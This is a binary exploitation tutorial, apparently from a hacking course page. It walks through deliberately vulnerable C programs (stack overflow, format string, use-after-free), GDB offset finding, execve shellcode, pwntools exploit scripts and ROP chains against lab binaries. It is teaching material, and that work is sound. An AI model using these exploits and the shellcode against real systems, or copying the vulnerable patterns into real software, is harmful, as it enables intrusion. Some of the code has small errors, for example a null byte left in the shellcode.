#include #include #include int main() { // Allocate 100 bytes on heap char *buffer = malloc(100); if (buffer == NULL) { fprintf(stderr, "Allocation failed\n"); return 1; } // Use the buffer strcpy(buffer, "Hello, heap!"); printf("%s\n", buffer); // MUST free when done free(buffer); // buffer is now dangling - don't use it! // buffer = NULL; // Good practice to NULL it return 0; }

Common memory bugs:

Bug Description Exploitation Impact
Memory Leak malloc() without free() DoS (denial of service) - exhaust memory
Double Free free() same pointer twice Heap corruption, potential code execution
Use After Free Using pointer after free() Read/write freed memory, often RCE
Heap Overflow Write past allocated size Corrupt adjacent heap chunks, RCE

Real-World Example: Heartbleed (CVE-2014-0160)

One of the most famous vulnerabilities ever. OpenSSL had a buffer over-read bug:

// Simplified Heartbleed concept memcpy(output, input, user_supplied_length); // If user_supplied_length > actual input size, // memcpy reads beyond buffer, leaking memory!

Attackers could read up to 64KB of server memory per request, potentially exposing:

  • Private SSL keys
  • User passwords and session cookies
  • Confidential data being processed

All because of a simple memory handling bug in C. This affected 17% of all HTTPS servers worldwide.

Compilation Process - From Code to Binary

Understanding compilation helps you exploit binaries. When you reverse engineer, you're undoing this process.

The Four Stages of Compilation

# 1. Preprocessing - Handle #include, #define, #ifdef gcc -E program.c -o program.i # 2. Compilation - Convert C to assembly gcc -S program.i -o program.s # 3. Assembly - Convert assembly to machine code gcc -c program.s -o program.o # 4. Linking - Combine object files and libraries gcc program.o -o program # Or do it all at once: gcc program.c -o program

GCC Flags for Hacking

When practicing exploitation, you need to disable security features:

Flag Effect Why Hackers Use It
-fno-stack-protector Disable stack canaries Makes buffer overflows easier to exploit
-z execstack Make stack executable Allows running shellcode on stack
-no-pie Disable ASLR Addresses are predictable
-g Include debug symbols Makes reverse engineering easier
-static Static linking All functions in one binary

Real-world targets have ALL security features enabled. But when learning, you disable them one by one to understand each protection mechanism.

Learning to Exploit is Like Learning to Pick Locks

First, you practice on locks with no pins (all protections disabled). Then add one pin (stack canaries). Then another (ASLR). Then another (DEP). Each layer makes exploitation harder.

Professional exploiters can bypass all modern protections - but they started by mastering basics on unprotected binaries. Don't rush. Master each concept fully before adding complexity.

Writing Vulnerable Code for Practice

To learn exploitation, you need vulnerable targets. Let's write intentionally buggy programs:

Simple Buffer Overflow

// vuln1.c - Classic stack buffer overflow #include #include void secret_function() { printf("πŸŽ‰ You exploited the buffer overflow!\n"); } void vulnerable_function(char *input) { char buffer[64]; strcpy(buffer, input); // NO BOUNDS CHECKING printf("You entered: %s\n", buffer); } int main(int argc, char **argv) { if (argc < 2) { printf("Usage: %s \n", argv[0]); return 1; } printf("secret_function is at: %p\n", secret_function); vulnerable_function(argv[1]); printf("Returned safely.\n"); return 0; } // Compile: gcc vuln1.c -o vuln1 -fno-stack-protector -no-pie // Exploit: ./vuln1 $(python3 -c 'print("A"*72 + "\x??\x??\x??\x??")')

This program:

This is your first real exploit target. In the GDB section, we'll exploit this step-by-step.

C for Exploitation

Understanding C vulnerabilities is the foundation of binary exploitation. Every buffer overflow, format string bug, and memory corruption vulnerability exists because C gives you complete control - and complete responsibility. Let's learn how to weaponize C's dangerous features.

🎯 The Knife Analogy

C is like a chef's knife - incredibly powerful in skilled hands, but dangerous if misused. Modern languages like Python are like safety scissors - they protect you from cutting yourself, but they also limit what you can do. C gives you the raw blade, and it's your job to wield it responsibly... or exploit it when others don't.

When developers make mistakes with C, they create vulnerabilities that let attackers take complete control of the system. Your job is to understand these mistakes so deeply that you can spot them instantly and craft exploits.

Buffer Overflows: The Classic Vulnerability

Buffer overflows are the most famous class of vulnerabilities in computer security. They've been around since the 1970s, yet they still plague software today. Understanding them is non-negotiable for any serious hacker.

How Memory Works (Simplified)

When a program runs, memory is organized into regions:

Memory Region Purpose Exploitation Relevance
Stack Local variables, function parameters, return addresses Buffer overflows overwrite return addresses here
Heap Dynamic memory (malloc/free) Heap corruption, use-after-free vulnerabilities
Data Global and static variables Can overwrite function pointers, configs
Code Executable program instructions Target for code injection (if writable)

The Stack in Detail

The stack is where most beginner exploitation happens. Here's what a function call looks like in memory:

// Function call: vulnerable_function("AAAABBBB") STACK LAYOUT (grows downward): β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” ← Higher addresses β”‚ Previous stack frame β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ Saved Return Address (RIP) β”‚ ← Where to go after function returns β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ Saved Base Pointer (RBP) β”‚ ← Previous stack frame pointer β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ Local variable: buffer[64] β”‚ ← Our 64-byte buffer starts here β”‚ (64 bytes) β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ Other local variables β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ ← Lower addresses (stack pointer) NORMAL CASE: buffer[64] = "AAAABBBB\0" β†’ Data stays within buffer bounds β†’ Return address unchanged β†’ Function returns safely OVERFLOW CASE: buffer[64] = "A" * 72 + "\xef\xbe\xad\xde" β†’ First 64 bytes fill buffer β†’ Next 8 bytes overwrite saved RBP β†’ Next 4-8 bytes overwrite return address β†’ Function "returns" to attacker-controlled address!

Exploiting a Stack Buffer Overflow

Let's exploit the vulnerable program from the previous section:

// vuln1.c - Our vulnerable target #include #include void secret_function() { printf("πŸŽ‰ You exploited the buffer overflow!\n"); } void vulnerable_function(char *input) { char buffer[64]; strcpy(buffer, input); // Dangerous! printf("You entered: %s\n", buffer); } int main(int argc, char **argv) { if (argc < 2) { printf("Usage: %s \n", argv[0]); return 1; } printf("secret_function is at: %p\n", secret_function); vulnerable_function(argv[1]); printf("Returned safely.\n"); return 0; } // EXPLOITATION STEPS: // 1. Compile with protections OFF gcc vuln1.c -o vuln1 -fno-stack-protector -no-pie -z execstack // 2. Run to find secret_function address ./vuln1 AAA # Output: secret_function is at: 0x401142 // 3. Find the offset to return address # We need to find how many bytes until we overwrite RIP # Method: Create pattern and crash analysis (we'll use GDB for this) // 4. Craft exploit payload # Format: [PADDING] + [SAVED RBP] + [RETURN ADDRESS] # In this case: 64 bytes buffer + 8 bytes RBP + 8 bytes RIP (64-bit) // 5. Execute exploit python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\x42\x11\x40\x00\x00\x00\x00\x00')" | ./vuln1 # Result: secret_function executes!

Why Little-Endian Matters

Notice the address 0x401142 becomes \x42\x11\x40\x00\x00\x00\x00\x00 in our exploit. This is because x86/x64 systems use little-endian byte order - the least significant byte comes first in memory.

Address: 0x0000000000401142
In memory: 42 11 40 00 00 00 00 00

This trips up beginners constantly. Always reverse byte order when writing addresses!

Format String Vulnerabilities

Format string bugs are another classic C vulnerability. They occur when user input is passed directly to printf-family functions as a format string.

Vulnerable vs Safe Code

// VULNERABLE - User input as format string char user_input[100]; gets(user_input); printf(user_input); // ❌ NEVER DO THIS // SAFE - User input as data char user_input[100]; gets(user_input); printf("%s", user_input); // βœ… Correct way

Why Format Strings Are Dangerous

Format specifiers like %x, %s, %n allow reading and writing arbitrary memory:

Format Specifier Normal Use Exploitation Use
%x Print hex value Read stack values (leak addresses)
%s Print string Read memory at address (arbitrary read)
%n Write bytes printed so far Write to arbitrary address (arbitrary write!)
%p Print pointer Leak addresses from stack
%$ Direct parameter access Access specific stack positions

Format String Exploitation Example

// format_vuln.c #include int secret = 0xdeadbeef; int main(int argc, char **argv) { char buffer[100]; printf("secret is at: %p\n", &secret); printf("Enter input: "); fgets(buffer, sizeof(buffer), stdin); printf("You entered: "); printf(buffer); // ❌ Vulnerable! printf("\nsecret value: 0x%x\n", secret); return 0; } // EXPLOITATION EXAMPLES: // 1. LEAK STACK DATA ./format_vuln AAAA%x.%x.%x.%x.%x # Output: AAAA414141.bffff720.8048450.bffff738.bffff800 # The "41414141" is "AAAA" in hex - we control stack data! // 2. READ ARBITRARY MEMORY ./format_vuln %s # Reads string from wherever stack pointer points // 3. WRITE ARBITRARY MEMORY (change secret value) ./format_vuln AAAA%x%x%n # Writes number of bytes printed so far to address 0x41414141 // REAL EXPLOIT (simplified): # Calculate: How many bytes to write to get desired value # Use %n to write that many bytes to target address # Result: Changed secret value without direct access!

⚠️ Format Strings Are Still Dangerous Today

Despite being an old vulnerability class, format strings still appear in:

  • Legacy C codebases that haven't been audited
  • Embedded systems and IoT devices
  • Kernel code (where mistakes are catastrophic)
  • Third-party libraries with poor security practices

A single printf(user_input) can give attackers complete memory read/write capabilities.

Heap Exploitation Introduction

The heap is where dynamically allocated memory lives (malloc/free). Heap exploitation is more complex than stack exploitation, but incredibly powerful.

Common Heap Vulnerabilities

Use-After-Free (UAF)

Vulnerability: Program frees memory but keeps pointer, then uses it again.

Exploitation: Allocate new object in freed memory, control what "freed" pointer points to.

Impact: Can hijack program flow, corrupt data structures.

Double-Free

Vulnerability: Program frees same memory twice.

Exploitation: Corrupts heap metadata, can lead to arbitrary write.

Impact: Memory corruption, potential code execution.

Heap Overflow

Vulnerability: Buffer overflow on heap-allocated memory.

Exploitation: Overwrite heap metadata or adjacent objects.

Impact: Control over heap allocator, arbitrary write primitives.

Use-After-Free Example

// uaf_vuln.c #include #include #include struct User { char name[32]; void (*greet)(void); }; void normal_greet() { printf("Hello, normal user!\n"); } void admin_greet() { printf("πŸ”‘ Hello, ADMIN! You have root access!\n"); } int main() { struct User *user = malloc(sizeof(struct User)); strcpy(user->name, "John"); user->greet = normal_greet; user->greet(); // Prints: Hello, normal user! free(user); // Memory freed... // ❌ BUG: user pointer still used, but memory is freed! // Attacker allocates new memory that reuses freed space struct User *evil = malloc(sizeof(struct User)); strcpy(evil->name, "Hacker"); evil->greet = admin_greet; // Overwrites function pointer user->greet(); // Now calls admin_greet()! // Output: Hello, ADMIN! You have root access! return 0; } // WHY THIS WORKS: // 1. user points to heap address (e.g., 0x1234000) // 2. free(user) marks memory as available but doesn't change user pointer // 3. malloc() for evil likely returns same address (0x1234000) // 4. evil->greet = admin_greet overwrites the freed memory // 5. user->greet() dereferences freed pointer, calls attacker's function!

Dangerous C Functions

Certain C functions are notoriously dangerous and should be avoided (or used with extreme caution). Recognizing these in code reviews is essential:

Dangerous Function Why Dangerous Safe Alternative Example Vulnerability
gets() No bounds checking fgets(buf, size, stdin) Buffer overflow
strcpy() No length check strncpy() or strlcpy() Buffer overflow
strcat() No length check strncat() or strlcat() Buffer overflow
sprintf() No bounds checking snprintf() Buffer overflow
scanf("%s") No length limit scanf("%50s") Buffer overflow
printf(user_input) Format string vuln printf("%s", user_input) Format string

Code Auditing Checklist

When reviewing C code for vulnerabilities, always check:

  • βœ… Are buffer sizes clearly defined and respected?
  • βœ… Are pointers checked for NULL before dereferencing?
  • βœ… Is memory freed exactly once (no double-free)?
  • βœ… Are freed pointers set to NULL (prevent use-after-free)?
  • βœ… Are dangerous functions (strcpy, gets, etc.) avoided?
  • βœ… Are format strings never controlled by user input?
  • βœ… Are integer overflows checked before allocation?
  • βœ… Are return values from functions checked for errors?

Assembly & GDB: Reading the Matrix

Assembly is the language closest to what the CPU actually executes. When you reverse engineer malware, analyze exploits, or craft shellcode, you're working in assembly. Combined with GDB (the GNU Debugger), these skills let you see exactly what's happening inside a running program - the ultimate superpower for exploitation.

🎬 The Movie Analogy

High-level code (Python, C) is like watching a movie - you see the story, characters, and plot. Assembly is like seeing the raw film frames, camera angles, lighting, and editing cuts. GDB is your director's commentary that lets you pause on any frame, rewind, and understand exactly how each shot was constructed.

Most people are content watching the movie. Hackers want to see how it was made, find the mistakes, and sometimes edit the film in real-time.

x86-64 Architecture Basics

Modern computers use x86-64 (also called x64 or AMD64) architecture. Understanding registers, memory, and instructions is essential.

CPU Registers - The Fastest Memory

Registers are tiny, ultra-fast storage locations inside the CPU. Think of them as the CPU's working memory:

Register Purpose Exploitation Relevance
RAX Accumulator, return values Function return values, syscall numbers
RBX Base register General purpose, often preserved across calls
RCX Counter Loop counters, 4th function argument
RDX Data register 3rd function argument, I/O operations
RSI Source index 2nd function argument, string operations
RDI Destination index 1st function argument, string operations
RBP Base pointer Points to stack frame base
RSP Stack pointer Points to top of stack (critical for exploitation)
RIP Instruction pointer Points to next instruction (control flow hijacking target)
R8-R15 General purpose Extra registers for x64, function arguments

Register Naming Convention

Registers have different names based on size:

  • 64-bit: RAX, RBX, RCX, ... (R prefix)
  • 32-bit: EAX, EBX, ECX, ... (E prefix)
  • 16-bit: AX, BX, CX, ... (no prefix)
  • 8-bit: AL, BL, CL, ... (L suffix for low byte)

Example: RAX (64-bit) β†’ EAX (lower 32 bits) β†’ AX (lower 16 bits) β†’ AL (lower 8 bits)

x64 Calling Convention

Understanding how functions are called is crucial for exploitation:

// C code: int add(int a, int b, int c, int d, int e, int f, int g) { return a + b + c + d + e + f + g; } int result = add(1, 2, 3, 4, 5, 6, 7); // x64 Assembly (Linux): // Arguments passed in registers, then stack: mov rdi, 1 ; 1st argument β†’ RDI mov rsi, 2 ; 2nd argument β†’ RSI mov rdx, 3 ; 3rd argument β†’ RDX mov rcx, 4 ; 4th argument β†’ RCX mov r8, 5 ; 5th argument β†’ R8 mov r9, 6 ; 6th argument β†’ R9 push 7 ; 7th argument β†’ STACK (doesn't fit in registers) call add // Inside add(): add rdi, rsi ; a + b add rdi, rdx ; + c add rdi, rcx ; + d add rdi, r8 ; + e add rdi, r9 ; + f add rdi, [rsp+8]; + g (7th arg from stack) mov rax, rdi ; Return value in RAX ret ; Return to caller

Reading Assembly Code

Assembly instructions are the actual operations the CPU performs. Let's learn to read them fluently.

Essential Instructions

Instruction Description Example What It Does
mov Move data mov rax, 5 RAX = 5
add Addition add rax, rbx RAX = RAX + RBX
sub Subtraction sub rax, 10 RAX = RAX - 10
imul Signed multiply imul rax, 2 RAX = RAX * 2
xor XOR operation xor rax, rax RAX = 0 (common idiom)
cmp Compare (subtract but don't store) cmp rax, 10 Sets flags based on RAX - 10
jmp Unconditional jump jmp 0x401000 Go to address 0x401000
je/jz Jump if equal/zero je 0x401000 Jump if last cmp was equal
jne/jnz Jump if not equal/not zero jne 0x401000 Jump if last cmp was NOT equal
call Call function call printf Push return address, jump to function
ret Return from function ret Pop return address, jump to it
push Push to stack push rax Decrement RSP, store RAX at [RSP]
pop Pop from stack pop rax Load [RSP] into RAX, increment RSP
lea Load effective address lea rax, [rbx+8] RAX = RBX + 8 (address math)
nop No operation nop Do nothing (useful for padding/alignment)

Reading Real Assembly

Let's translate some C code to assembly and back:

// C CODE: int check_password(char *input) { if (strcmp(input, "secret123") == 0) { return 1; // Success } return 0; // Failure } // ASSEMBLY (simplified): check_password: push rbp mov rbp, rsp ; Set up stack frame mov rax, rdi ; input pointer in RDI (1st arg) lea rsi, [rel password] ; Load address of "secret123" mov rdi, rax ; Move input to RDI (1st arg for strcmp) call strcmp ; Call strcmp(input, "secret123") test eax, eax ; Check if return value is 0 jne .fail ; If not zero, jump to fail mov eax, 1 ; Return 1 (success) jmp .end .fail: mov eax, 0 ; Return 0 (failure) .end: pop rbp ret // READING THIS AS A HACKER: # Line 3-4: Stack frame setup (standard function prologue) # Line 5-7: Preparing arguments for strcmp # Line 8: Comparing strings # Line 9-10: If strings DON'T match (eax != 0), jump to fail # Line 11: If we didn't jump, strings matched - return 1 # # EXPLOITATION INSIGHT: # The password "secret123" is stored in the binary as a string. # We can find it with: strings ./binary | grep secret # Or in GDB: x/s &password # Or we can patch the je instruction to always succeed!

GDB: The Ultimate Debugging Tool

GDB (GNU Debugger) lets you pause programs, inspect memory, modify registers, and understand exactly what's happening inside a binary. It's essential for exploitation.

Essential GDB Commands

Command Description Example
run [args] Start program run AAAA
break *0x401234 Set breakpoint at address break *main
continue Continue execution c
stepi Execute one instruction si
nexti Execute one instruction (step over calls) ni
info registers Show all registers i r
x/20x $rsp Examine memory (20 hex words from RSP) x/s 0x401000
disassemble main Disassemble function disas main
set $rax=0x1234 Modify register set $rip=0x401000
backtrace Show call stack bt

GDB Memory Examination Formats

# x/[count][format][size] [address] # FORMATS: x - hexadecimal d - decimal u - unsigned decimal o - octal t - binary a - address c - character s - string i - instruction # SIZES: b - byte (1 byte) h - halfword (2 bytes) w - word (4 bytes) g - giant word (8 bytes) # EXAMPLES: x/20x $rsp # 20 hex words from stack pointer x/10i $rip # 10 instructions from instruction pointer x/s 0x401000 # String at address x/100x $rsp # 100 hex words from stack x/gx $rbp # 8-byte hex value at RBP

Exploiting with GDB: Step-by-Step

Let's exploit our vulnerable program from earlier using GDB:

# Step 1: Start GDB gdb ./vuln1 # Step 2: Set breakpoint at vulnerable function (gdb) break vulnerable_function Breakpoint 1 at 0x401234 # Step 3: Run with test input (gdb) run AAAA Breakpoint 1, vulnerable_function() # Step 4: Check registers (gdb) info registers rax 0x7fffffffdb00 rbx 0x0 rsp 0x7fffffffda80 ← Stack pointer rbp 0x7fffffffdae0 ← Base pointer rip 0x401234 ← Current instruction # Step 5: Examine stack before overflow (gdb) x/20x $rsp 0x7fffffffda80: 0x41414141 0x00000000 0x00000000 0x00000000 0x7fffffffda90: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffdaa0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffdab0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffdac0: 0xffff1234 0x00007fff 0xffffdae0 0x00007fff ↑ Saved RBP ↑ Return address # Step 6: Continue execution (gdb) continue You entered: AAAA Returned safely. [Inferior 1 (process 1234) exited normally] # Step 7: Try overflow payload (gdb) run $(python3 -c 'print("A"*72 + "\x42\x11\x40\x00\x00\x00\x00\x00")') Breakpoint 1, vulnerable_function() # Step 8: Step through strcpy (gdb) stepi ... (step until after strcpy) # Step 9: Examine stack after overflow (gdb) x/20x $rsp 0x7fffffffda80: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffda90: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdaa0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdab0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffdac0: 0x41414141 0x41414141 0x00401142 0x00000000 ↑ Overwritten! ↑ Attacker-controlled return address! # Step 10: Continue to return (gdb) continue # Result: Program jumps to 0x401142 (secret_function)! πŸŽ‰ You exploited the buffer overflow!

GDB Extensions for Exploitation

Enhance GDB with these powerful extensions:

  • pwndbg: Most popular, colorful output, exploit development features
  • GEF: (GDB Enhanced Features) Similar to pwndbg, different UI
  • peda: Python Exploit Development Assistance, pattern creation

Install pwndbg: git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh

Finding Offset with Patterns

Instead of guessing buffer sizes, use cyclic patterns:

# Generate unique pattern (gdb) pattern create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1...' # Run program with pattern (gdb) run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1...' # Program crashes, check what overwrote RIP (gdb) info registers rip rip: 0x4141304141614141 # Find offset of that value in pattern (gdb) pattern offset 0x4141304141614141 Pattern found at offset: 72 # Now we know: 72 bytes to reach return address!

Shellcode & Exploit Development

Shellcode is the payload you inject into a vulnerable program. It's machine code that performs actions you want - typically spawning a shell, hence the name. Combined with exploit techniques, shellcode transforms theoretical vulnerabilities into practical attacks that give you complete system control.

πŸ”‘ The Master Key Analogy

Finding a buffer overflow is like discovering that a bank vault's door is broken. But that's not enough - you need a way to open it once you're there. Shellcode is your master key: compact, reliable code that works in constrained environments and gives you access to the system.

Just like a master key must be precisely crafted to work in various locks, shellcode must be carefully written to avoid bad characters, fit in small spaces, and work reliably across different systems.

What is Shellcode?

Shellcode is position-independent machine code that:

Simple Shellcode Example (x86-64 Linux)

// C equivalent: execve("/bin/sh", NULL, NULL); // Assembly: xor rax, rax ; Clear RAX (zero out) push rax ; Push NULL terminator mov rdi, 0x68732f6e69622f ; "/bin/sh" in little-endian push rdi ; Push "/bin/sh" onto stack mov rdi, rsp ; RDI = pointer to "/bin/sh" xor rsi, rsi ; RSI = NULL (argv) xor rdx, rdx ; RDX = NULL (envp) mov al, 59 ; RAX = 59 (syscall number for execve) syscall ; Execute syscall // Machine code (hexadecimal): \x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57 \x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05 // This is 27 bytes of pure exploitation power!

Understanding Syscalls

Shellcode relies on syscalls - direct requests to the kernel. On Linux x86-64:

Syscall Number Syscall Name Description Arguments
0 read Read from file descriptor RDI=fd, RSI=buf, RDX=count
1 write Write to file descriptor RDI=fd, RSI=buf, RDX=count
59 execve Execute program RDI=filename, RSI=argv, RDX=envp
60 exit Terminate process RDI=status
57 fork Create new process None

How to Make a Syscall

// Syscall convention on x86-64 Linux: # 1. Put syscall number in RAX mov rax, 1 ; Syscall 1 = write # 2. Put arguments in registers (in order): mov rdi, 1 ; 1st arg: file descriptor (1 = stdout) mov rsi, message ; 2nd arg: buffer address mov rdx, 13 ; 3rd arg: buffer length # 3. Execute syscall instruction syscall # 4. Return value in RAX # If RAX < 0, error occurred

Avoiding Bad Characters

The most common constraint in shellcode is avoiding null bytes (0x00), which terminate string operations like strcpy().

Techniques to Eliminate Null Bytes

Use XOR Instead of MOV

Bad: mov rax, 0 β†’ Contains null bytes

Good: xor rax, rax β†’ Same result, no nulls

XOR of a value with itself always equals zero, and the instruction has no null bytes.

Use Smaller Registers

Bad: mov rax, 59 β†’ \x48\xc7\xc0\x3b\x00\x00\x00

Good: mov al, 59 β†’ \xb0\x3b

When you only need small values, use 8-bit registers.

Push Instead of MOV

Bad: mov [rsp], 0x68732f

Good: push 0x68732f

Push is more compact and often avoids null bytes.

Testing Shellcode

Before injecting shellcode into exploits, test it standalone:

// shellcode_test.c #include #include // Your shellcode here unsigned char shellcode[] = "\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57" "\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05"; int main() { printf("Shellcode length: %lu bytes\n", strlen(shellcode)); // Cast shellcode to function pointer and execute void (*func)() = (void(*)())shellcode; func(); return 0; } // Compile with executable stack: // gcc shellcode_test.c -o test -z execstack -no-pie // ./test // Result: Spawns shell!

Exploit Development Process

Let's walk through developing a complete exploit from vulnerability to working payload.

Phase 1: Vulnerability Analysis

# Step 1: Identify the vulnerability # Look for: buffer overflows, format strings, use-after-free, etc. # Step 2: Determine exploitability # Questions to answer: - Where is user input stored in memory? - What can we overwrite with our input? - Are there protections enabled? (ASLR, NX, PIE, stack canaries) - What's our goal? (Code execution, privilege escalation, data leak) # Step 3: Check binary protections checksec ./vulnerable_binary OUTPUT: RELRO: Partial RELRO Stack: No canary found ← Good! No stack canary NX: NX disabled ← Good! Stack is executable PIE: No PIE ← Good! Addresses are predictable RUNPATH: No RUNPATH

Phase 2: Exploit Development

#!/usr/bin/env python3 # exploit.py - Buffer overflow exploit template from pwn import * # Pwntools library (pip install pwntools) # Configuration binary = './vulnerable_binary' elf = ELF(binary) # Step 1: Find offset to return address # (Use GDB + pattern as shown earlier) offset = 72 # Step 2: Choose shellcode # Shellcode to spawn /bin/sh shellcode = asm(shellcraft.sh()) # Pwntools generates shellcode # Or use manual shellcode: # shellcode = b"\x48\x31\xc0\x50..." # Step 3: Find a JMP RSP gadget (if needed) # Or use return-to-libc, ROP chain, etc. # Step 4: Craft payload payload = flat([ shellcode, # Our shellcode b'A' * (offset - len(shellcode)), # Padding p64(0x7fffffffdabc) # Return to shellcode address ]) # Step 5: Send payload p = process(binary) p.sendline(payload) # Step 6: Interact with spawned shell p.interactive()

Phase 3: Bypassing Protections

Modern systems have multiple protections. Here's how to bypass them:

Protection What It Does Bypass Technique
NX (No-Execute) Stack/heap not executable Return-Oriented Programming (ROP), return-to-libc
ASLR Randomizes memory addresses Information leak to find addresses, brute force, partial overwrite
Stack Canaries Detects stack corruption Leak canary value, bypass check, overwrite canary back
PIE Randomizes code location Leak code address, relative offsets still work
RELRO Makes GOT read-only Full RELRO: No GOT overwrite; Partial: Overwrite before relocation

Return-Oriented Programming (ROP)

When the stack isn't executable (NX enabled), we can't run our shellcode directly. Solution: Chain together existing code snippets called "gadgets".

# What is a ROP gadget? # Small instruction sequences ending in 'ret' Examples: pop rdi; ret # Load value from stack into RDI pop rsi; ret # Load value from stack into RSI mov rax, rdi; ret # Move RDI to RAX syscall; ret # Execute syscall # ROP Chain to call execve("/bin/sh", NULL, NULL): # Stack layout: [gadget: pop rdi; ret] # Pop next value into RDI [address of "/bin/sh"] # RDI = "/bin/sh" [gadget: pop rsi; ret] # Pop next value into RSI [0x0000000000000000] # RSI = NULL [gadget: pop rdx; ret] # Pop next value into RDX [0x0000000000000000] # RDX = NULL [gadget: pop rax; ret] # Pop next value into RAX [0x000000000000003b] # RAX = 59 (execve syscall) [gadget: syscall; ret] # Execute syscall! # Each 'ret' pops the next address from stack and jumps to it # We control the stack, so we control the execution flow!

Using Pwntools for Exploitation

Pwntools is the standard Python library for exploit development:

#!/usr/bin/env python3 from pwn import * # ==================== BASIC USAGE ==================== # Connect to process or remote server p = process('./binary') # Local process # p = remote('ip', port) # Remote target # Send data p.send(b'data') # Send without newline p.sendline(b'data') # Send with newline # Receive data data = p.recv(100) # Receive 100 bytes data = p.recvline() # Receive until newline data = p.recvuntil(b'prompt') # Receive until specific string # Interactive shell p.interactive() # Get interactive terminal # ==================== EXPLOIT HELPERS ==================== # Packing integers to bytes (little-endian) address = p64(0x401234) # 64-bit: b'\x34\x12\x40\x00\x00\x00\x00\x00' address = p32(0x401234) # 32-bit: b'\x34\x12\x40\x00' # Unpacking bytes to integers value = u64(b'\x34\x12\x40\x00\x00\x00\x00\x00') # 0x401234 # Flat payload construction payload = flat([ b'A' * 64, p64(0x401234), p64(0x401500) ]) # ==================== SHELLCODE ==================== # Generate shellcode shellcode = asm(shellcraft.sh()) # Spawn shell shellcode = asm(shellcraft.cat('flag.txt')) # Read file # Assemble custom assembly shellcode = asm('mov rax, 60; xor rdi, rdi; syscall') # ==================== ROP ==================== # Load binary elf = ELF('./binary') libc = ELF('./libc.so.6') # Find symbols main_addr = elf.symbols['main'] system_addr = libc.symbols['system'] # Find gadgets rop = ROP(elf) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] # Build ROP chain rop_chain = flat([ pop_rdi, next(elf.search(b'/bin/sh')), elf.symbols['system'] ]) # ==================== FULL EXPLOIT EXAMPLE ==================== binary = './vuln' elf = ELF(binary) p = process(binary) # Leak addresses p.recvuntil(b'Address: ') leak = int(p.recvline().strip(), 16) log.info(f'Leaked address: {hex(leak)}') # Calculate base base = leak - 0x1234 log.info(f'Base address: {hex(base)}') # Craft payload offset = 72 payload = flat([ asm(shellcraft.sh()), b'A' * (offset - len(asm(shellcraft.sh()))), p64(base + 0x2000) # Return to shellcode ]) # Exploit p.sendline(payload) p.interactive() # Get shell!

Debugging Exploits

When exploits fail, debug systematically:

  • Verify offset: Is return address overwritten correctly?
  • Check addresses: Are they in little-endian? Correct values?
  • Bad characters: Does payload contain nulls or other bad chars?
  • Alignment: Is stack 16-byte aligned before calls?
  • GDB attach: gdb.attach(p) in Pwntools to debug live

Payload Crafting Techniques

NOP Sled

Purpose: Increase reliability of jumps to shellcode

Technique: Prepend shellcode with many NOP instructions (0x90). If we jump anywhere in the NOPs, execution slides to shellcode.

Example: b'\x90'*100 + shellcode

Egg Hunter

Purpose: Find shellcode when buffer is too small

Technique: Inject small payload that searches memory for "egg" (unique marker) followed by real shellcode.

Use Case: Limited buffer space for initial exploit

Staged Payloads

Purpose: Execute larger payloads in constrained environments

Technique: Stage 1: Small payload that reads more data. Stage 2: Full featured payload sent after initial exploitation.

Example: Metasploit's staged payloads

Real-World Projects & Building Security Tools

Theory is worthless without practice. The best way to solidify your exploitation skills is to build real tools and complete projects that combine everything you've learned. These projects will push you from script kiddie to genuine hacker.

πŸ› οΈ The Craftsman's Workshop

Reading about carpentry doesn't make you a carpenter. You become a craftsman by building furniture, making mistakes, and refining your technique. Similarly, you become a hacker by building tools, writing exploits, and solving real challenges.

Every tool you build deepens your understanding. Every exploit you craft sharpens your skills. This section contains projects that will transform you from student to practitioner.

Essential Security Tools to Build

Building these tools from scratch teaches you how they work at a fundamental level:

Project 1: Port Scanner

